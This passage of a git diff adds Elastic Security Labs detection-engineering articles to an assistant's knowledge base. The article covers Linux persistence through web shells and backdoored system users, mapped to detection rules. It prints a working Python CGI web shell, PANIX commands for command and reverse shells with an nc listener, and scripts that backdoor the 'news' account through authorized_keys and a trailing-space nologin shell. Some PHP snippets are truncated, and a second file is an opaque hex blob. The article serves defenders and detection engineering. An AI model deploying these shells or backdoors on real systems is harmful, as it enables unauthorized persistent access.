`/etc/modprobe.d/`, `/etc/modules`, and related directories for modifications that might enable persistence. +* **Focus on rare drivers:** Use queries that identify kernel modules loaded via `init_module` or `finit_module` syscalls that occur infrequently. + +By combining the [Persistence via Loadable Kernel Modules](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_loadable_kernel_modules.md) and [Drivers Load with Low Occurrence Frequency](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_driver_load_with_low_occurrence_frequency.md) hunting rules, along with tailored detection queries, analysts can effectively identify [T1547.006](https://attack.mitre.org/techniques/T1547/006/)-related activity. + + +## T1505.003 - Server Software Component: Web Shell + +A web shell is a malicious script uploaded to a web server, enabling attackers to execute arbitrary commands on the host. They are commonly deployed after exploiting vulnerabilities in server software, weak file upload restrictions, or misconfigurations. Web shells are typically small scripts written in commonly supported languages such as PHP, Python, or Perl. This activity is tracked by MITRE under [T1505.003](https://attack.mitre.org/techniques/T1505/003/). + +### T1505.003 - Web Shell - PHP & Python + +Web shells often integrate seamlessly with web server configurations like `Apache`, `Nginx`, or `Lighttpd`. These scripts can be categorized into two primary types: command execution (CMD) and reverse shell web shells. + +**1. Command shells** + +CMD web shells provide a simple interface to execute system commands through a browser or remote tool. A typical PHP CMD web shell might look like this: + +```php + +``` + +**2. Reverse shells** + +Reverse shell web shells establish an outbound connection from the compromised server to the attacker’s machine. An example PHP reverse shell: + +```php +&3 2>&3"); +?> +``` + +The attacker runs a listener on their machine using `Netcat` or any other listener. When the shell script is accessed, it connects to the attacker, providing an interactive session. + +**Leveraging the Common Gateway Interface (CGI) for web shells** + +The [Common Gateway Interface (CGI)](https://www.ibm.com/docs/en/i/7.4?topic=functionality-cgi) allows web servers to execute external scripts and return their output to clients. Attackers can use CGI scripts to execute commands in various languages, including Python, Bash, and Perl. A Python CGI web shell example: + +```python +#!/usr/bin/env python3 +import cgi +import os + +print("Content-type: text/html\n\n") +form = cgi.FieldStorage() +command = form.getvalue("cmd") +if command: + output = os.popen(command).read() + print(output) +``` + +CGI scripts offer versatility and can be used in environments where PHP or other web shells might be restricted. + +Attackers often target web root directories like `/var/www/html/` to upload their web shells. Weak file upload restrictions or misconfigured permissions allow them to place malicious scripts. To enhance persistence, attackers may: + +* **Embed Web Shells in Existing Files**: Modify legitimate files to include web shell code, making detection more challenging. +* **Use Built-in Web Servers**: Attackers can start a web server in a specific directory to bypass restrictions +* **Leverage Hidden Directories**: To avoid detection, locate web shells in obscure or hidden directories. + +Although this type of implementation is also possible for languages other than PHP and Python, they commonly require modules/plugins to be installed, making them a less viable option. The following section will explore detailed examples of these methods and their corresponding detection strategies. + + +#### Persistence through T1505.003 - Web Shell: PHP & Python + +Let’s examine how PANIX leverages PHP, Python, and CGI to establish web shell backdoors within the [setup_web_shell.sh](https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_web_shell.sh) module. Refer to the module to inspect the full payloads. + +Depending on permissions, PANIX creates a web server in `/var/www/html/` (root) or `$HOME/` (non-root). PHP uses the `-S` flag to start a lightweight server, with `-t` specifying the root directory to serve the web shells. For Python, the `-m http.server` module is combined with `--cgi` to enable dynamic execution of CGI scripts. If only Python 2 is available, PANIX falls back to `-m CGIHTTPServer` for compatibility. + +Servers are launched in the background using `nohup` to ensure persistence, remaining active even after the user logs out. + +Let’s look at what traces we can detect within these chains, starting with a PHP CMD shell. To simulate this activity, we can use the following PANIX command: + +```bash +> ./panix.sh --web-shell --language php --mechanism cmd --port 8080 + +[+] Web server directory created at /home/ruben/panix/ +[+] cmd.php file created in /home/ruben/panix/ +[+] Interact via: curl http://:8080/cmd.php?cmd=whoami +[!] Starting PHP server on port 8080... +[+] PHP server running in the background at port 8080. +[!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080. + +Run the following commands in case of issues on RHEL/CentOS systems: + +sudo firewall-cmd --add-port=8080/tcp --permanent +sudo firewall-cmd --reload +``` + +After execution, we can call the `cmd.php` through the following `curl` command: + +```bash +> curl http://192.168.1.100:8080/cmd.php?cmd=whoami +ruben +``` + +Executing the payload generates the following documents in Kibana: + +![PANIX web-shell module execution visualized in Kibana (command shell payload)]( /assets/images/continuation-on-persistence-mechanisms/image3.png "PANIX web-shell module execution visualized in Kibana (command shell payload)") + +The figure above shows PANIX being executed and the `/home/ruben/panix/` directory being created (as PANIX is executed with user privileges). The `cmd.php` file is created, and the PHP web shell is spawned with the `-S` flag and listens on all interfaces (`0.0.0.0`) on port 8080. Upon execution of the `curl` command from the attack host, we can see a `connection_accepted`, followed by the execution of the `whoami` command, followed by a `disconnect_received`. + +To simulate reverse shell behavior, we can simulate a Python reverse shell through the following PANIX command: + +```bash +./panix.sh --web-shell --language python --mechanism reverse --port 8080 --rev-port 2018 --ip 192.168.1.100 + +[+] Web server directory created at /home/ruben/panix/ +[+] reverse.py file created in /home/ruben/panix/cgi-bin/ +[+] Interact via: curl http://:8080/cgi-bin/reverse.py +[!] Starting Python3 server on port 8080 with CGI enabled... +[+] Python3 server running in the background at port 8080. +[!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080. + +Run the following commands in case of issues on RHEL/CentOS systems: + +sudo firewall-cmd --add-port=8080/tcp --permanent +sudo firewall-cmd --reload +``` + +After which, we can communicate with the reverse shell from the attacker machine through the following commands: + +```bash +// Terminal 1 +> curl http://192.168.1.100:8080/cgi-bin/reverse.py + +// Terminal 2 +> nc -nvlp 2018 +listening on [any] 2018 ... +connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 47250 +> whoami +ruben +``` + +This module generates the following documents: + + +![PANIX web-shell module execution visualized in Kibana (reverse shell payload)]( /assets/images/continuation-on-persistence-mechanisms/image4.png "PANIX web-shell module execution visualized in Kibana (reverse shell payload)") + +After PANIX executes, we can see `/home/ruben/panix/cgi-bin/reverse.py` being created and execution permissions being granted. A `python3` web server with CGI support is spawned. After executing the `curl` command from the attacker machine, we can see an incoming connection through the `connection_accepted` event, followed by the execution of the reverse shell command, leading to the call back to the attacker machine through the `connection_attempted` event. A fully interactive shell is obtained once the attacker catches the reverse connection. + +You can revert the changes made by PANIX by running the following revert command: + +```bash +> ./panix.sh --revert web-shell + +###### [+] Reverting web-shell module... ##### + +[+] Running as non-root. Reverting web shell for user 'ruben'. +[+] Reverting web shell for user 'ruben' at: /home/ruben/panix/ +[+] Identifying web server processes serving /home/ruben/panix/... +[+] Killed process 11592 serving /home/ruben/panix/. +[+] Removed web server directory: /home/ruben/panix/ +``` + +After which, all artifacts should be cleaned. + +Let’s take a look at the coverage: + +| Category | Coverage | +|----------|--------------------------------------------------------| +| File | [Suspicious File Creation via Web Server](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_suspicious_file_creation_via_web_server.toml) | +| Process | [File Downloaded from Suspicious Source by Web Server](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml) | +| | [File Downloaded and Piped to Interpreter by Web Server](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_file_downloaded_and_piped_to_interpreter_by_web_server.toml) | +| | [Suspicious Download and Redirect by Web Server](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_suspicious_download_and_redirect_by_web_server.toml) | +| | [Web Server Spawned via Python](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_python_webserver_spawned.toml) | +| | [Simple HTTP Web Server Creation](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_simple_web_server_creation.toml) | +| | [Potential Remote Code Execution via Web Server](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_linux_shell_activity_via_web_server.toml) | +| | [File Downloaded to Suspicious Location by Web Server](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_file_downloaded_to_suspicious_location_by_web_server.toml) | +| | [Decode Activity via Web Server](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_decode_activity_via_web_server.toml) | +| | [Unusual Command Executed by Web Server](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_unusual_command_executed_by_web_server.toml) | +| Network | [Reverse Shell Executed via Web Server](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_reverse_shell_executed_via_web_server.toml) | +| | [Simple HTTP Web Server Connection](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_simple_web_server_connection_accepted.toml) | +*Detection and endpoint rules that cover web shell persistence* + +#### Hunting for T1505.003 - Web Shell + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious file creation events and anomalous network activity commonly associated with web shells. The approach includes monitoring for the following: + +* **Creation or renaming of web shell files:** Tracks files with extensions such as `.php`, `.py`, `.pl`, `.rb`, `.lua`, and `.jsp` in unexpected or uncommon locations, which may indicate the deployment of a web shell. +* **Anomalous network activity by scripting engines:** Observes disconnect events and unusual connections initiated by processes like `python`, `php`, or `perl`, particularly connections to external IP addresses. +* **Low-frequency external connections:** Detects rare or low-volume network connections from processes, especially those initiated by root or unique agents, which can indicate malicious web shell activity. + +By combining the [Persistence via Web Shell](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_web_shell.md), [Persistence Through Reverse/Bind Shells](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_reverse_bind_shells.md), and [Low Volume External Network Connections from Process by Unique Agent](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/low_volume_external_network_connections_from_process.md) hunting rules with the tailored detection queries listed above, analysts can effectively detect and respond to [T1505.003](https://attack.mitre.org/techniques/T1505/003/). + +## T1098.004 - Account Manipulation: SSH Authorized Keys + +SSH's `authorized_keys` feature is a common target for attackers aiming to establish persistent access to compromised Linux systems. By placing their public keys in the `authorized_keys` file, attackers can gain access without requiring further authentication if the private key is in their possession. This mechanism is controlled by files like `.ssh/authorized_keys` or `.ssh/authorized_keys2`, typically in the user’s home directory. While this persistence method is well-documented, we explored its nuances in detail in [a previous article](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms#t1098004---account-manipulation-ssh). + +In this section, we will focus on a less conventional but intriguing variation of this technique: abusing system accounts that by default are rarely used and have default configurations. This approach leverages the default home directories of these users to create `.ssh` directories and insert `authorized_keys` files, enabling SSH-based persistence under these accounts. [Exatrack’s research](https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/) on a new variant of the `perfctl` malware recently explored this technique. Although this specific variation of the authorized keys persistence technique is not tracked by MITRE, the overall persistence technique is tracked under [T1098.004](https://attack.mitre.org/techniques/T1098/004/). + +### T1098.004 - SSH Authorized Keys: System User Backdoors + +System accounts like `news` or `nobody` often exist on default Linux installations with non-interactive shells (e.g., `/usr/sbin/nologin`) and predefined home directories. These accounts, typically overlooked and not intended for direct login, can become attractive targets for attackers. We can observe their configurations in the `/etc/passwd` file: + +```bash +> cat /etc/passwd +root:x:0:0:root:/root:/bin/bash +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +``` + +As we can see, the root user's home directory is `/root/`, while system users like `news`, `backup`, and `nobody` also have default home directories, such as `/var/spool/news/` and `/nonexistent/`. The default shell for root is `/bin/bash`, whereas system users are restricted by `/usr/sbin/nologin`. + +Although system users are intended to be non-interactive, attackers can exploit their configurations by creating `.ssh` directories in their home directories and adding `authorized_keys` files for SSH-based authentication. By manipulating the `/etc/passwd` file and shell configuration, attackers can bypass restrictions imposed by `/usr/sbin/nologin` and gain access. The next section will explore this technique in detail, including the steps attackers use to execute it. + +#### Persistence through T1098.004 - SSH Authorized Keys: Backdoored System Users + +Let’s examine how the PANIX [setup_backdoor_system_user.sh](https://github.com/Aegrah/PANIX/blob/7d5bb3892a79fd23d485c3ed82b8fefc81f178e0/modules/setup_backdoor_system_user.sh) module abuses this trick to leverage non-interactive system accounts to gain SSH access onto a target without creating a new user. Refer to the module to inspect the full payloads. + +The first step is to identify a system user as the target for the attack. For example, as we know: + +* The `news` user has `/var/spool/news/` as its home directory. +* The `nobody` user has `/nonexistent/` by default (which can be created). + +The next step is to create the `.ssh` directory within the home directory and writes the attacker’s public key to the `authorized_keys` file, and ensure the correct file permissions: + +```bash +# Create the .ssh directory +mkdir -p "$home_dir/.ssh" +chmod 755 "$home_dir/.ssh" # Set directory permissions to be accessible by others + +# Write the public key to authorized_keys +echo "$key" > "$home_dir/.ssh/authorized_keys" +chmod 644 "$home_dir/.ssh/authorized_keys" # Set file permissions to be readable by others +``` + +This step ensures that the attacker can authenticate via SSH using their private key. The next step is to modify the shell. By default, system users like `news` and `nobody` are configured with `/usr/sbin/nologin` as their shell, which prevents interactive login sessions. We need to circumvent this restriction by: + +1. Copying (for example) `/bin/dash` to `/usr/sbin/nologin` (with a trailing space). +2. Updating `/etc/passwd` to include the modified shell path. + +```bash +# Copy /bin/dash to '/usr/sbin/nologin ' +cp /bin/dash "/usr/sbin/nologin " + +# Modify /etc/passwd to include the trailing space in the shell path +local username=$(echo "$user_entry" | cut -d: -f1) +sed -i "/^$username:/s|:/usr/sbin/nologin$|:/usr/sbin/nologin |" /etc/passwd +``` + +Where the local username variable can be set to any system user. This subtle manipulation tricks the system into treating `/usr/sbin/nologin `(with a trailing space) as a valid shell. + +Finally, to ensure SSH accepts the modified shell as valid, we need to add `nologin `(with a trailing space) to `/etc/shells`: + +```bash +# Check and add "nologin " to /etc/shells if not already present +if ! grep -q "nologin " /etc/shells; then + echo "nologin " >> /etc/shells + echo "[+] Added 'nologin ' to /etc/shells" +else + echo "[+] 'nologin ' already exists in /etc/shells. Skipping." +fi +``` + +This step ensures SSH does not reject login attempts due to the manipulated shell. Now that we understand the flow, let’s run the module. + +```bash +> sudo ./panix.sh --backdoor-system-user --default --key + +[+] Added 'nologin ' to /etc/shells +[+] Copied /bin/dash to '/usr/sbin/nologin ' +[+] Modified /etc/passwd to update shell path for user: news +[+] System user backdoor persistence established for user: news +``` + +After which we can log in to the system via SSH with the `news` user: + +```bash +> ssh news@192.168.31.129 +Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-130-generic x86_64) +``` + +And analyze this technique’s traces in Discover: + +![PANIX backdoor-system-user module execution visualized in Kibana]( /assets/images/continuation-on-persistence-mechanisms/image1.png "PANIX backdoor-system-user module execution visualized in Kibana") + +Upon PANIX execution, the `/var/spool/news/.ssh/` directory and `authorized_keys` files are created and granted the correct permissions (`755` and `644` respectively). Next, the `/usr/sbin/nologin` (with trailing space) file is created, and the `/etc/passwd` and `/etc/shells` files are modified. Upon completion, the `news` user is able to authenticate via SSH, with an interactive shell. + +You can revert the changes made by PANIX by running the following revert command: + +```bash +> sudo ./panix.sh --revert backdoor-system-user + +###### [+] Reverting backdoor-system-user module... ##### + +[+] Removing .ssh directory for user: news +[+] Successfully removed .ssh directory for news. +[+] Reverting /etc/passwd entry for user: news +[+] Successfully reverted /etc/passwd entry for news. + +[+] Removing '/usr/sbin/nologin ' +[+] Successfully removed '/usr/sbin/nologin '. +[+] Reverting /etc/shells to remove 'nologin ' entry. +[+] Successfully removed 'nologin ' from /etc/shells. +``` + +After which all artifacts should be cleaned. + +There are several detection- and endpoint rules set up to detect different parts of this technique: + +| Category | Coverage | +|----------|-----------------------------------------------------| +| IAM | [Login via Unusual System User](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_ssh_via_backdoored_system_user.toml) | +| Process | [Unusual Interactive Shell Launched from System User](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_interactive_shell_from_system_user.toml) | +| | [Potential Nologin SSH Backdoor](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/defense_evasion_potential_nologin_ssh_backdoor.toml) | +| | [Masquerading Space After Filename](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/cross-platform/defense_evasion_masquerading_space_after_filename.toml) | +*Detection and endpoint rules that cover backdoored system user persistence* + +#### Hunting for T1098.004 - SSH Authorized Keys: Backdoored System Users + +We can hunt for this technique using ES|QL and OSQuery by focusing on identifying unauthorized SSH key additions, tampered system files, and unusual activity involving system users such as `news` or `nobody`. The following key areas are effective for detection: + +* **Suspicious SSH Key Modifications**: Monitors for changes to `.ssh` directories and `authorized_keys` files in unexpected locations, such as `/var/spool/news/.ssh/` or `/nonexistent/.ssh/`. +* **Unusual File Changes**: Identifies modifications to SSH-related files and directories, tracking ownership and access patterns. +* **Interactive Process Activity**: Detects rare interactive sessions initiated by system accounts that typically lack login access. +* **System File Tampering**: Flags modifications to `/etc/passwd` and `/etc/shells`, including unusual shell paths or additions of invalid entries like `nologin `. + +By leveraging the [Persistence via SSH Configurations and/or Keys](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_ssh_configurations_and_keys.md) hunt, analysts can uncover unauthorized persistence mechanisms, investigate potential abuse of system accounts, and respond effectively to these threats. + +## Conclusion + +In this third chapter of the "Linux Detection Engineering" series, we explored various persistence techniques adversaries might leverage on Linux systems. Starting with dynamic linker hijacking, we demonstrated how manipulation of the dynamic linker through `LD_PRELOAD` can be abused for persistence. We then looked into loadable kernel modules (LKMs), a powerful feature that allows attackers to embed malicious code directly into the kernel, offering deep system control and persistence. We then explored the threat web shells pose, which enable scripting-based persistence and remote access, making them a significant risk in web-exposed environments. Finally, we analyzed the exploitation of default system users with non-interactive shells, revealing how attackers can leverage these often-overlooked accounts to establish persistence without creating new user entries. + +These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. You can build robust defenses and fine-tune your detection strategies by leveraging [PANIX](https://github.com/Aegrah/PANIX) to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided. diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/declawing_pumakit.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/declawing_pumakit.encoded.md new file mode 100644 index 0000000000000..31a076325867d --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/declawing_pumakit.encoded.md @@ -0,0 +1 @@ +b4d7947978a65813f5221c4df877b615c2fb8f8fc8c4c848d8caafc2792ff94175123df0223449005fbfa7da63354fc9bd6dfe972157a56e59e04ebd71b4a77c4e0699a27724de039aebb2d356f39d6201f7ec2554b9d10d750c584036b87030ee2e0c7cfcbcf01462953d8742a4a526232ce978e10604e2dd0127edc0561bd567224872999208c9a6007b695c88ca99ef3a642fa24524edafff230f0b5f482127a5fec8e51a2c2efee34cb831d2b48733b1d24000eb703fae7a6dd2b978a5b20b04289aeba5eef7046ad6d407b28bd08cec13c8beb1ee2e46168d29985300692c6d6be80f9d917e34ce6ad4fb084131e1d7cf94210958a152a31174d068a6b23a58cd5b1a302ee4321b4eda4fe389a04717d6977942fe7577e0da83ed6e7314375c8f13d960f199d96ddf272ddbab43595688b254243ece3925e7ba0ea1143456bac27e7410187e58b326aa744c08cf7dbe6c622de057ec2b897e7914349e0e4fcdb2d3f72413690d29f835ed183cf3b8a71ecf3a3a8d3bd0e4216bdf503a22c9e30a3e8a2e27a0ef2ee69304d912641c85feb7fcdfe1eaa984ee7c0bb6a42854263ab547ad9ebd6f0cabbb34121bfc820ce348a242e1a42ef1f5d50322417a4b53a819297be78205991310b5fe49bde3c51cca0ed7cc15b9a6df05a2acf0ae230768e637fabc1ca2f5f4f8a4bba80b5d9410daf9cb715a9d680257ed77e7780199a4f2acbb11880ea8228e3e613be6da2489ea78ca38ee3408af7a911ab23bb8bb25482da59c2c45dc3d1e0d38ff5f8631f4d91280fb44074f76b9ae1592dd761333ec925fa574163b42a673bcbbcb7774a9ae817460b39460ffb4f024bd9d73ff1c1aa2c39887718366fbd9040be04024c67947118560bf8a218405105cba91ed11a70d233ba9f0d3655d920fd3c143dab47151699bf473bf0af379841aecfad02b11cb08054ff4897366b75833317614f1ffb4075cc3f1ce05881e0f4593cbdbe866277288f5394b3f339c1191cc6041225f54422eeca33ac8ed84a90f4c378bb0ef66311cd4144600c97cc1c2a7432e7ea82d4fd8b1d63fb1cb33c6eff4f279341c049ed3bb75dca48bbf57d9e80bae6bf3289fbcce351df035398452381d313a89aa92f30395db0b45c05f74fb00f8fcd0cadf3e513ef65cd8db083f91c35558f38c54b902860ec43ebbd9ea2bf35c6f35b6afc9a79613ad74f37a77176a2af266a367af0af6a54ce72874f036c5a938a00d975b1f457e58973385213c40b23d61269e376d9c4fd7758d736be59adfa23798251230370c8f47b5c44873db177646431a49d8b790acde9cf2194af1053acd11bd4c4aebcbb938a3e65f5a27ceb993209f3f8b766d6ed118ed63991395ba83b9f046db02945f600b10ece0097b89a19e0a92623a19fce9c27597b2a967589f7bbffd949f7a00f90072cf57638a28df649087cb23a0680d136bd48bfd3fd0eb187925e4cb81f652ae54c8e702b883e7bfd53b3956456138743cb3e9fd7bc27750f3540fd1b7d4afd5714d1edb880dec113f116bd8103fe44876f715952c29dea60179cd6de1c9f5aaaed174042bff7cf5cc1d883c0ce51530313e62a2bc1afeb112fcc2f9af41b24caae68b9cde0f011ca532c6f4d33ce7d2b361ea27a2ca51fc44d7d54fe557e86e0acd12c560b4d630cfeeb2529b9d2bdf15214451163b6b0f994fd1c45343028c5f6ca459d482c15bd3cbd55dbb5e1364bb3d924b9eb438b499962eca9bd3605e1ea449c661e2fb9b7e02e3bf919ff1daf4a655adc9a9dc290f56479641cfb06622545f54401d317ebc33a2dac94ea11b0d181a1fea8bbe3cf49d1e824ce1a93301ba7de10b05a79e8e68eac992f7c136aa9c26edd343408ff1fa6b9c4189dfe918919ba166a4d037d047530bc52fea07bd2db28fc13886cbac5b7a7152e52a4dee193bd0010112b916fa24dbac6919c94ff7f66d2247cdad9ed76945c9013a02ab8a02e6645002f9732fc62441cb7ad9faff623bf3fa14ce7c22178eb41efef960b9e9777e14b152ca2915d1de0a5b8e2ef6a34476dad2eff114ed3d80a744d82b52d95052ab2041d97f6752b89851d09b4c0f45ef6d4e882dbbbdf11b156628df200765abd94718033da09939578642eb026b77645e804d43e9ebcb387521e65a6360de4894f52be46c54ab7c1c015238b6ce22303eede01433906a08fadbdd6d0d239511bd22fe042dd839f66c548796d8c8f467bf01949908422af9d1ab516fe092fe29669c1e5c49fabac07681ee7ab7e5a17a4077727141a8d3cdf419fbcee9b011a1f9460de57ae0db45b17b3c292df58136a08127f76a0e253770c40b3664326271e436e22f888c8ad6ddc31cd69d4a720b20e1825c31c53c08d29b99be666c5b35d4edea5b3d6355eb52cc4d8c7d12ab52bb0712570e23bb946902e6becc7f8ab267d84b2e071ef20e0b09aa332ac933b76170140c067bd47a857f585032f1ef69db74236e990f1c75d640c850c4eb1cf9a5c8e9516ac76c852fcc9523f303288f679c3d058d70d04134a1c43643d1db3dfa99ae889d9a4ee765ffc027bd594f68d54f17b5914e47d0de35f01674a3e8d556cb55252cd5e917f660e55793d3afc097f2308b881b4fe1bbc3d02205c76d9fadc378b6d2f5d9f71e3831f982e8d377992e762fbeaebc75ebceb6903e83f125e48b92fda581831d69886dbfd0ff1247913c6a72188795f3152a7e41e60a287de826fa31f2bbda9d478315bd2fb917948c01b1619960ea8a7329e3d9ea17249ca68c2a838c6a3c77cbf4cc2aef66aec6e329b1fc9c42f21f948b9a5ef9fd47d315bc13b1a0727c27c69ebe15ec497fde2b07643cd41eb6df513d1a6cd251bfc56d13fe9984da3c4abf5959c6e793dc65b6fcda4eda7fa98c58fbf28b7ff2c4dd9effab1be613cb58d4b5ebee8a4207f211b21c001879ac68c7a9af5bc5f03fee02d670ee1a0910a1a22e64b2544c897d1c3ef5f44a3a6b967f2187c2187303b620f4c30b47290c514a69aa6dde73dd6aa259967df7551819c497aa15e83b5f75c8f99d12ced8b13c2b9c242363d94c059237e61b56c02c00635fcf20bfd70ad98937b4423f0cb7bd584452a6e62d94835f7bd2cb62e2cd73270d96bcbfac2068678a7487e65190f4de2e5de4fb2f885618796e947cbbf61380af81f102790a5138e1472bf3bcb63468bc8a1352d35bfcd261f1e0816d0a498d4a219789f137d5dcb8ab71b96c88831997ece2e1880ddf81616534821481f0044c76b807ed205a8a203534d10cb096da75d06364c4bfaf081f07f342a3e31ad17d77b6b6c5449c14c050af2893662e50d8bee0c05af9aabdd127db5ea3e9fc54307d77e5c09016dc8bd6124ad581d4a644d07cab6f2145557978aaa4d46beb7c2c803388136361568759b99ed56cf5a3f139e141cc44ce99d036414c1283b60dfa0b9299ec3dbd1bbe93ac7858c20d3d9423b1a735217593addb5f8d42b1af1128e15974278c48916954e8f41e82bbb982559cee7476f484f670a80e6b57e9641425d3bccc3930cf902251f07c47542ee1a298a11beca62e95b47b284d2b2b3cc6ea77b6eb50368c97ba5321dca518f894c39b5555847a1fc895e763221743c75e2e5bb5f0f57ff3b2861f384e2c0608a348f851526dcb6e39d36eb4067f3d3c1f6fb2368a390dd156f2661050044c489856abe16654397508420544e93bba59e3ebaed4de30c77dea2da7e604f4d4caddfee9431ebaa98c3f80dffb839915cac13d91384c11b8a05cb8b43fe2978d156283b1f41799752f808ea3bcd36d4ec6a0b1a42eea56ce0b0b91085cf6b713a953d332aef9782acf06ba87023b1b1a5019bc551fb87eb44bdf94ec4feacc6463f9b922a713f20e4f35625ac3a22e73245ef2cbfb5f67789760a4a9f66924bfc52396fbbe59e2a80080732a729e3a581998c3a3d0b2e14cdaf79ad022dacfeb84c1e0352f9f8241c3f7da444e07dc9145f2bb84f247783cb7b1495120e6b5c37635aedd72ba516cbca048a8b5c6e86129c5fb5adbaea3ea3ce963186ea8ea926df749ad6ea32257e71ad615a5f54b279add57cc57307dabba3649dc48b2effd3e52026721e80fa4968a08f1463f69303a47f1a00da5d7984229d6e198f27eeda1722e15a2c324239194bef466ecd54c14608c538a2337f1d7dc46bc4ab71eaff0f09b8917effad761428f97ca4d966c3e41938a0c7b3cc6798836840e42259c1183b6c277f85049c583cfb4a323701363cfc2eec6a7f5ee4591a8af9341f541256f2a06e043b6392181a8599b39902c4f1d261237b99ffb1853ded355c2216f93f87af31bd3e3cd9a9e519d21b9e7dc847d6ed20672abbbe8d936d970c42b0269d62366037780d23aae1824056ad0c44cbd94f9106bd881007dd12332b31bb30abd00675f9d08b6e6bc85de638c63f1530c2116f221606f5aa0d82aac3987704fc1d1b95c01c8566667d92199cb1274a7394d43e4a8f4ae03de25035aeaa46cdcd1808d19b93ac9dfbd57f21f248ab15ef7081ad55efd2e5bd2d3389d7ea7ba640bc5a61d5d091fb76ec2782fbd8990eb2a52b8bd1d7435868fec26e4a3bb27f32c4108e5296634e19bd30671e1f1cbc6d23bbf0fa4b8873b4f8939e9f071f9f09b672b86aca277a0f80ef7b4241fac9bda37ca56b42b0a71706e3d9a6dd26dd9c9fa42b0829f3d10c7a4425091053a2ebdb59fb6323a92bf9589545703b5f6d5e85d4a88ec891b6b1853c50fb152fa22a96fc48d90c8279510b5042ee0c004cfdb4bc049c7a3a8797450cf52fbaba7b2f887b0213fc60067467339cd8a866e2cbb44098b1fce175b57a5fe9e6206c0dc711f8a28626e845c51f2af25444620273d5ef37d01d3fb3c20e14b1981ad8959b3eea4257447473d3038960aa7aba4a370587cd6f45f043b5ac97051cb40ae5ab7805614630f3bcde0e523f7ddf484eaa8d4502d71f8ff6e34488ee5d5faad5f724e18761e2f0f3e45f4f7d1aaa7124470caecacdf084e572d90835e4d6cd65d64d86b78e7837ce9b4fe5281c5f1ad32e558d9dc38c27a65f19e8e79b6e3827ea9a563c95b89574500106acd8213f82ce0cfc1ea9fa4719b057e1147ce961527e84295594b0faf535807beb505c7ba7bfe10b5ceea227eb96079e34cd53a166bfb6bf9036efe97b11da50aefe0ea5cff635f39465f24809b68cd9d335ce91fc2b0cfb1c56fb9dc09b82f49792e8c52f788c315166ece057be5b0a1d1d55ae6183e8c621695c41d3e2e2ed1a891c1410ebb34a468054f148eaf3218041168bd609db162feaac7f71648969aa66295c34cbc6297a26fb8163e4f10913782e5837dcfb75de71bc3928051c8a2474932fb70fa000578682022bd6bfe7e7811c7234553d0504716ac5c03d6fcc02491405b43ac8d4c9453b1311a754d733eafc87551e7237ccd71169544f7d2e62e81fffd7a1f83c8ee6fac0e909bac69ad93c44bb70b42a67dea234fda41e842d1238212181c9190af0bf17823cfcc14db90d1bfdd558aabe30fe1913c4489540c93821bf4482e3876bd2cd8e461dcd85885b6d11eb516ce1d159cea158b625ea7b05517ca6c3c23623b4c06c9e1aa3fbfb1c6416f951bd60121165ad671d05853d0c1fc788aa8771393edcbdda08eaa60fd8d7bd73f29f61f8155bb0ef0d2caec29cc10e833a29df3a7b6f71325cee1d375d640a564c1d6c1d44b58950a3f0186346c3d6